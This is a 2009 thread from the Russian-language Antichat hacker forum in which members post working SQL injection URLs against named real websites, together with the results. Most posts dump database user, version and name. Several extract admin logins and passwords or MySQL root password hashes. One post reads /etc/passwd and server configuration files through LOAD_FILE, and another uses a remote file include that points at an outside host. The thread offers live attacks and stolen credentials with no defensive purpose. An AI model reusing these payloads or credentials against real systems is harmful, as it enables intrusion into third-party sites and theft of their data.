HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.03.2009, 17:57
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
С нами: 10077446

Репутация: 1020


По умолчанию

www.akusherstvo.ru Pr-5 ТиЦ 2700
PHP код:
http://www.akusherstvo.ru/magaz.php?action=cat_show&ordby=type&type_active=212321+union+select+concat_ws(0x3A,user(),version(),database()),2--+ 
user:jakAkush@localhost
version:5.0.32-Debian_7etch8
database:jakza_akush
PHP код:
http://www.akusherstvo.ru/magaz.php?action=cat_show&ordby=type&type_active=212321+union+select+concat_ws(0x3A,admin_login,admin_pass),2+from+jakza_akush.admin--+ 
jak : pak

www.shogunclub.ru ТиЦ-300 SQL injection+php include
PHP код:
http://www.shogunclub.ru/kendo.php?ArticleID=-312317+union+select+1,2,3,4,5,6,0x687474703a2f2f73686172612d64612e6d6f792e73752f696e636c7564652e696e63,8,9,10--+ 

Последний раз редактировалось AkyHa_MaTaTa; 06.03.2009 в 19:21..
 
Ответить с цитированием

  #2  
Старый 06.03.2009, 18:03
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию

http://f-online.ru/newsr.php?id=-1+union+select+1,2,concat_ws(0x3a,USER(),DATABASE( ),VERSION()),4+--+

fairytal_results@localhost:fairytal_results:5.0.51 a-community
 
Ответить с цитированием

  #3  
Старый 06.03.2009, 19:19
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.monavissa.ro/pagini.php?pag_id=-4'+union+select+1,concat_ws(0x3a,version(),databas e(),user()),3,4,5/*


Database Version: 4.1.22-log
Database name: monavissa_new
User name: monavissa@localhost
 
Ответить с цитированием

  #4  
Старый 06.03.2009, 19:31
-m0rgan-
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами: 9270510

Репутация: 519


По умолчанию

Код:
http://www.cpaug.org/publications.php?Id=-1+union+all+select+0,concat_ws(0x3a,username,password),2,3,4,5+from+users--
Логин/пасс:

Код:
Sema:nakiseki
Код:
http://www.cpaug.org/publications.php?Id=-1+union+all+select+0,concat_ws(0x3a,version(),user(),database()),2,3,4,5+from+users--
версия/юзер/бд:


Код:
4.0.21:cpaug.org@195.249.40.97:cpaug_org

------------------------------------------------------------------------------
The End!
 
Ответить с цитированием

  #5  
Старый 06.03.2009, 20:31
f1ng3r
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
С нами: 9116712

Репутация: 688
По умолчанию

Код:
http://www.ewclid.ru/news/?id=-164+union+select+1,concat_ws(0x3a,version(),databa se(),user()),3,4,5--&returnto=0&n=1
Database Version : 4.0.27
Database name : ewclid2
User name : comcom@hosting.rusoft.ru


сбрутил только логин:

Код:
http://www.ewclid.ru/news/?id=-164+union+select+1,log in,3,4,5+from+users--&returnto=0&n=1
 
Ответить с цитированием

  #6  
Старый 06.03.2009, 21:11
fker
Участник форума
Регистрация: 26.11.2008
Сообщений: 158
С нами: 9187097

Репутация: 158
По умолчанию

www.themusichutch.com (pr 4)

Код:
http://www.themusichutch.com/listen.php?songid=41348+union+select+0,1,2,3,version(),5,6,7,8,9,10,11,12,13,14,table_name+from+INFORMATION_SCHEMA.TABLES%20LIMIT+1,1--

tables:
md_emails
mh_invites
mh_logins

Последний раз редактировалось jokester; 06.03.2009 в 21:14.. Причина: agrifoodskills.net.au БОЯН
 
Ответить с цитированием

  #7  
Старый 06.03.2009, 23:18
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.sbx-re.ro/anunturi-imobiliare-sbx-1590+AND+ASCII(SUBSTRING((select+version() ),1,1))=x/*.html

x=52,46,49,46,50,50,45,115,116,97,110,100,97,114,1 00

http://www.sbx-re.ro/anunturi-imobiliare-sbx-1590+AND+ASCII(SUBSTRING((select+database() ),1,1))=x/*.html

x=114,111,109,97,110,105,97,105,95,100,98


http://www.sbx-re.ro/anunturi-imobiliare-sbx-1590+AND+ASCII(SUBSTRING((select+user() ),1,1))=x/*.html

x=114,111,109,97,110,105,97,105,95,111,118,105,100 ,105,117,64,108,111,99,97,108,104,111,115,116

Version : 4.1.22-standard
Database : romaniai_db
User : romaniai_ovidiu@localhost




http://www.romaniaimobiliare.ro/anunturi-imobiliare-proprietari-5779+AND+ASCII(SUBSTRING((select+user() ),11,1))=x/*.html?pag_language=ro

выдает те же самые данные что и первый сайт...
 
Ответить с цитированием

  #8  
Старый 06.03.2009, 23:48
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

http://www.tonicompany.ro/index.php?command=categproduse&sid=-1+union+select+1,concat_ws(0x3a,version(),database (),user()),3,4,5,6&pag=3


Database Version: 5.0.67-community-log
Database name: tonicomp_tonitrading
User name: tonicomp_vlad@localhost


http://www.turisminromania.ro/index.php?judet=10+UNION+SELECT+1,concat_ws(0x3a,v ersion(),database(),user()),3,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2 9,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45, 46,47,48,49+limit+1,1--


Database Version: 5.0.51a-log
Database name: turisminromania_ro_turisminromania
User name: 1329web@192.168.88.2


Respekt R1dex !

Последний раз редактировалось Gorev; 07.03.2009 в 01:36..
 
Ответить с цитированием

  #9  
Старый 07.03.2009, 09:09
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию

PR- 6

Цитата:
http://www.businessghana.com/portal/directory/index.php?op=getSubDirectories&category=IT&id=4+un ion+select+concat_ws(0x3a,version(),user(),databas e()),2,3,4--
Database Version: 5.0.67-community
Database name: repo_bg
User name: repo_repo@localhost


PR - 6

Цитата:
http://www.gjc.it/2006/en/show_2007.php?id=747897988898+union+select+1,conca t_ws(0x3a,version(),user(),database()),3,4,5,6,7,8 ,9,10,11,12--
Version: 4.1.21-standard-log
User: gjc@localhost
Database: gjc2006


Цитата:
http://it.ut.ac.ir/research_projects_en_frame.php?id=8908097654+UNION +SELECT+1,2,3,4,5,6,7,8,9,10,11,AES_DECRYPT(AES_EN CRYPT(CONCAT(0x3a,Version(),0x3a,Database(),0x3a,U ser(),0x3a),0x71),0x71),13,14,15,16,17,18,19--

Database Version: 4.1.10a
Database name: it
User name: itmodir@localhost


PR - 5

Цитата:
http://www.mvtimes.com/as-you-see-it/image.php?cat=-10+union+select+concat_ws(0x3a,version(),user(),da tabase())--&id=4

Version:5.0.27
User:mvtimes@localhost
Database:mvtdb


PR - 4

Цитата:
http://www.mediamorphosis.it/en/news.php?id=8907987654+union+select+1,concat_ws(0x 3a,version(),user(),database()),3,4,5--

Version:4.0.24_Debian-10sarge3-log
User:media@localhost
Database:morpho



PR - 4


Цитата:
http://thatday.it/eng/press_view.php?id=809809809868764+union+select+1,2 ,3,4,5,6,7,concat_ws(0x3a,version(),user(),databas e()),9,10--
Version:5.0.22-Debian_0ubuntu6.06.10
User:thatday01@localhost
Database:thatday_db1





PageRank = 5


Цитата:
http://www.dm.univaq.it/page.php?id=-4+union+select+1,2,concat_ws(0x3a,version(),user() ,database())--&id_menu=13
Database Version: 5.0.37
Database name: becontent
User name: root@localhost

Цитата:
http://www.dm.univaq.it/page.php?id=-4+union+select+1,2,concat_ws(0x3a,user,password)+f rom+mysql.user--&id_menu=13
root : 43b15bb255f188a4

Читаем etc/passwd

Цитата:
http://www.dm.univaq.it/page.php?id=-4+UNION+SELECT+1,2,CONCAT(0x3a,LOAD_FILE(0x2F65746 32F706173737764),0x3a)--&id_menu=13
Читаем /etc/httpd/conf/httpd.conf

Цитата:
http://www.dm.univaq.it/page.php?id=-4+UNION+SELECT+1,2,CONCAT(0x3a,LOAD_FILE(0x2F65746 32F68747470642F636F6E662F68747470642E636F6E66),0x3 a)-- &id_menu=13

Читаем /var/www/html/index.php

Цитата:
http://www.dm.univaq.it/page.php?id=-4+UNION+SELECT+1,2,CONCAT(0x3a,LOAD_FILE(0x2F76617 22F7777772F68746D6C2F696E6465782E706870),0x3a)-- &id_menu=13

Читаем /var/www/html/include/template.inc.php

Цитата:
http://www.dm.univaq.it/page.php?id=-4+UNION+SELECT+1,2,CONCAT(0x3a,LOAD_FILE(0x2F76617 22F7777772F68746D6C2F696E636C7564652F74656D706C617 4652E696E632E706870),0x3a)-- &id_menu=13

Копаемся дальше в поисках нужной нам информации.Вопрос в том что нам нужно там -)))



Еще один Рут на пятёрочке итальянской....



Цитата:
http://www.economia.unipd.it/didattica/index.php?sezione=DIDATTICA&sub=63&macro=3&id=-4+union+select+concat_ws(0x3a,version(),user(),dat abase()),2,3,4--&prev=1&corso=ECO2120

4.0.5a-beta-log
wwwadm@localhost
Economia


Цитата:
http://www.economia.unipd.it/didattica/index.php?sezione=DIDATTICA&sub=63&macro=3&id=-4+union+select+concat_ws(0x3a,user,password),2,3,4 +from+mysql.user--&prev=1&corso=ECO2120

root : 6ebe97855d5cfacb

Последний раз редактировалось spherics; 07.03.2009 в 10:51..
 
Ответить с цитированием

  #10  
Старый 07.03.2009, 11:17
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами: 9721141

Репутация: 1013
По умолчанию

hibiny.ru

Код:
http://www.hibiny.ru/tourism/cam.php?id=-2%20union%20select%20version()/*
version(): 5.0.45
user(): u56119@localhost
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.